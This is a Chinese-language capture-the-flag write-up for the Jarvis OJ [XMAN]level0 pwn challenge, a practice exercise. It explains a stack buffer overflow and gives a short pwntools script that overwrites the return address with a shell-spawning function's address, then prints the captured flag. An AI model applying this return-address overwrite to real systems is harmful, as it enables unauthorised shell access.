Jarvis OJ - [XMAN]level0 - Writeup

差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼

Jarvis OJ - [XMAN]level0 - Writeup_第1张图片

分析一下,checksec 查看程序的各种保护机制

Jarvis OJ - [XMAN]level0 - Writeup_第2张图片

没有金丝雀,没有pie

执行时输出Hello,World,在进行输入,溢出嘛

 开工

丢到ida里看看,先看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,获取shell的函数都写好啦,是callsystem

继而发现在main函数执行时调用的vulnerable_function()存在不安全的read输入,可以看到buf的长度为0x80+0x8

所以可以通过输入buf,用callsystem的地址覆盖vulnerable_function()的返回地址,进而实现获取shell

程序流程(从ABO偷来下图)

Jarvis OJ - [XMAN]level0 - Writeup_第3张图片

灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序

脚本

 

 1 #!/usr/bin/env python
 2 # coding:utf-8
 3 # writen by Exm
 4 
 5 
 6 from pwn import *
 7 io = process("./level0")
 8 io = remote("pwn2.jarvisoj.com" , 9881)
 9 elf = ELF("./level0")
10 func_addr = elf.symbols["callsystem"]
11 payload = 'a' * (0x80 + 0x8) + p64(func_addr)
12 
13 io.recvline()
14 io.sendline(payload)
15 io.interactive()
16 io.close()

 补充一下

symbols是[中括号]!!symbols是[中括号]!!symbols是[中括号]!!

执行一下就getshell啦,拿flag入探囊取物

 

Jarvis OJ - [XMAN]level0 - Writeup_第4张图片

flag: CTF{713ca3944e92180e0ef03171981dcd41}


作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;

转载于:https://www.cnblogs.com/ZHijack/p/7620526.html

你可能感兴趣的:(Jarvis OJ - [XMAN]level0 - Writeup)